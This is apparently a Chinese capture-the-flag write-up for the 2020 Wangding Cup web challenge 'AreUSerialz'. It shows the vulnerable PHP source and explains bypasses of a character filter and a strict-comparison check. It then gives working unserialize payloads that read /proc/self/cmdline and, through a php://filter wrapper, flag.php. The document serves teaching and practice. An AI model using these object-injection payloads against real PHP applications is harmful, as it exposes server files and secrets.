网鼎杯2020 web题 writeup

AreUSerialz（反序列化）

题目源代码

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

wp

主要需要绕过is_valid()函数。protected类型被序列化后包含不可见字符串\00。无法通过is_valid()函数。可通过将\00修改为空给绕过。

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

主要函数

析构函数：

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

process():

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

read()：

   private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

分析：
通过read()来读取我们想要的文件：如果$this->op==="2"则$this->op为"1"，process函数中op=='2’才会执行read()

__destruct()方法内使用了严格相等$this->op==="2"process()方法内使用了不严格相等elseif($this->op == “2”)
op = 2 绕过

构造序列化的payload：
读取cmdline，获取网站配置文件目录，获得web目录路径

http://6eeb32392e9e492dbdc5c97c46cc5b3eb9d650428fe2460d.cloudgame1.ichunqiu.com/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:18:%22/proc/self/cmdline%22;s:7:%22content%22;N;}

结果

http://6eeb32392e9e492dbdc5c97c46cc5b3eb9d650428fe2460d.cloudgame1.ichunqiu.com/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:18:%22/proc/self/cmdline%22;s:7:%22content%22;N;}

找到路径

最终payload 用伪协议读出flag.php

/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";N;}

base64 flag:

解出来即可得到flag